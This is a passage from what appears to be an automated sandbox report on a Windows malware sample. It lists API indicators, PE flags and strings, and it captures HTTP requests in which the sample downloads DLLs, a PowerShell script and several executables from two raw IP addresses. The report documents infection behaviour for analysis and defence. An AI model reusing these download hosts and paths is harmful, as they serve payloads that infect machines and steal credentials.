"00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp")3b:T567,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API "LockResource" (Indicator: "LockResource"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp")3c:Ted4,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "angel_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "foto2552_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "iu7rW97.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "gk7GM2iR.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "WW5pa33.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "tL3sv5VH.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "ob8Cl01.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "RK6Ko1mo.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "nalo.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "BG0Vi31.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "AN3Bj1Ru.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "sus.exe.bin" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "3vp37IO.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "5Vl58Ec.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "1AG03bS7.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "2Jg195qq.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "4xv765hr.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "5jk2WA4.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "3XP8tA46.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "1Sf96TF3.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "clip_1_.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT3d:T627,Observed unmanaged function "DwmIsCompositionEnabled" in "2Jg195qq.exe" Observed unmanaged function "BitBlt" in "2Jg195qq.exe" Observed unmanaged function "CreateRoundRectRgn" in "2Jg195qq.exe" Observed unmanaged function "PathCompactPath" in "2Jg195qq.exe" Observed unmanaged function "ClientToScreen" in "2Jg195qq.exe" Observed unmanaged function "CreateWindowEx" in "2Jg195qq.exe" Observed unmanaged function "DestroyWindow" in "2Jg195qq.exe" Observed unmanaged function "DrawMenuBar" in "2Jg195qq.exe" Observed unmanaged function "FindWindow" in "2Jg195qq.exe" Observed unmanaged function "GetClassName" in "2Jg195qq.exe" Observed unmanaged function "GetClientRect" in "2Jg195qq.exe" Observed unmanaged function "GetCursorPos" in "2Jg195qq.exe" Observed unmanaged function "GetDCEx" in "2Jg195qq.exe" Observed unmanaged function "GetMonitorInfo" in "2Jg195qq.exe" Observed unmanaged function "GetScrollInfo" in "2Jg195qq.exe" Observed unmanaged function "GetSystemMenu" in "2Jg195qq.exe" Observed unmanaged function "GetWindowDC" in "2Jg195qq.exe" Observed unmanaged function "GetWindowLong" in "2Jg195qq.exe" Observed unmanaged function "GetWindowRect" in "2Jg195qq.exe" Observed unmanaged function "GetWindowText" in "2Jg195qq.exe" Observed unmanaged function "InsertMenu" in "2Jg195qq.exe" Observed unmanaged function "InsertMenuItem" in "2Jg195qq.exe" Observed unmanaged function "MonitorFromWindow" in "2Jg195qq.exe" Observed unmanaged function "RegisterHotKey" in "2Jg195qq.exe" Observed unmanaged function "ReleaseCapture" in "2Jg195qq.exe"3e:T4f9,Found string "https://www.youtube.com/" (Indicator: "youtube"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found string "@shift /0start "" https://www.facebook.com/loginstart "" https://www.youtube.comstart "" https://accounts.google.com" (Indicator: "facebook.com"; File: "D1E1.bat") Found string ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://www.facebook.com/login" (Indicator: "facebook.com"; Source: "00000000-00002788-00000C41-3877673596144") Found string ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://www.youtube.com/" (Indicator: "youtube"; Source: "00000000-00002788-00000C41-5061112388707") file/memory contains long string with (Indicator: "youtube"; File: "urlref_httpswww.youtube.com") Found string "@shift /0start "" https://www.facebook.com/loginstart "" https://www.youtube.comstart "" https://accounts.google.com" (Indicator: "facebook.com"; File: "62CA.bat") Found string "start "" https://www.facebook.com/login" (Indicator: "facebook.com"; File: "62CA.bat") Found string "start "" https://www.youtube.com" (Indicator: "youtube"; File: "62CA.bat")3f:T2056,"GET /theme/Plugins/cred.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 404 Not Found Date: Tue 17 Oct 2023 17:38:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 273 Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /theme/Plugins/clip.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 200 OK Date: Tue 17 Oct 2023 17:38:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Sat 30 Sep 2023 10:50:50 GMT ETag: "16400-60691507c4d20" Accept-Ranges: bytes Content-Length: 91136 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000....... "GET /fuza/2.ps1 HTTP/1.1 Host: 77.91.68.52" Response ==> HTTP/1.1 200 OK Date: Tue 17 Oct 2023 17:38:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed 11 Oct 2023 23:22:56 GMT ETag: "a9-607791a731681" Accept-Ranges: bytes Content-Length: 169 with response body ==>2469655F70726F63696E666F203D2053746172742D50726F6365737320696578706C6F7265202D417267756D656E744C697374202768747470733A2F2F616363....... "GET /fuza/sus.exe HTTP/1.1 Host: 77.91.68.52" Response ==> HTTP/1.1 200 OK Date: Tue 17 Oct 2023 17:38:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue 17 Oct 2023 17:35:12 GMT ETag: "3fe00-607ecf1e7ab9c" Accept-Ranges: bytes Content-Length: 261632 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F0000000....... "GET /fuza/foto2552.exe HTTP/1.1 Host: 77.91.68.52" Response ==> HTTP/1.1 200 OK Date: Tue 17 Oct 2023 17:38:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue 17 Oct 2023 17:32:22 GMT ETag: "fe600-607ece7c4c0f9" Accept-Ranges: bytes Content-Length: 1041920 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E0000000....... "GET /fuza/nalo.exe HTTP/1.1 Host: 77.91.68.52" Response ==> HTTP/1.1 200 OK Date: Tue 17 Oct 2023 17:38:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue 17 Oct 2023 17:34:50 GMT ETag: "65200-607ecf09e1667" Accept-Ranges: bytes Content-Length: 414208 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F0000000....... "GET /zoom/angel.exe HTTP/1.1 Host: 77.91.68.52" Response ==> HTTP/1.1 200 OK Date: Tue 17 Oct 2023 17:38:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon 16 Oct 2023 23:09:16 GMT ETag: "168e00-607dd7ec89386" Accept-Ranges: bytes Content-Length: 1478144 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D8000000....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5542 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Tue 17 Oct 2023 17:38:53 GMT Last-Modified: Tue 17 Oct 2023 16:06:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5543 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Tue 17 Oct 2023 17:38:54 GMT Last-Modified: Tue 17 Oct 2023 16:06:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Cache-Control: max-age = 7200 Connection: Keep-Alive Accept: */* If-Modified-Since: Tue, 17 Oct 2023 16:06:31 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 304 Not Modified Accept-Ranges: bytes Age: 5545 Cache-Control: max-age=7200 Date: Tue 17 Oct 2023 17:38:56 GMT Last-Modified: Tue 17 Oct 2023 16:06:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT with response body ==>....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 6203 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Tue 17 Oct 2023 17:40:10 GMT Last-Modified: Tue 17 Oct 2023 15:56:47 GMT Server: ECAcc (sac/254A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604144E2254201895E6E36EE60FFAFAB912ED06178F39180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4494 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Tue 17 Oct 2023 17:40:15 GMT Last-Modified: Tue 17 Oct 2023 16:25:21 GMT Server: ECAcc (sac/2511) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604144E2254201895E6E36EE60FFAFAB912ED06178F39180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3875 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Tue 17 Oct 2023 17:40:46 GMT Last-Modified: Tue 17 Oct 2023 16:36:11 GMT Server: ECAcc (sac/254D) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041445EBA2AFF492CB82312D518BA7A7219DF36DC80F180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5569 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Tue 17 Oct 2023 17:40:46 GMT Last-Modified: Tue 17 Oct 2023 16:07:57 GMT Server: ECAcc (sac/255F) X-Cache: HIT Content-Length: 727 with response body ==>308202D30A0100A08202CC308202C806092B0601050507300101048202B9308202B530819EA2160414ECD7E382D2715D644CDF2E673FE7BA98AE1C0F4F180F32....... "GET 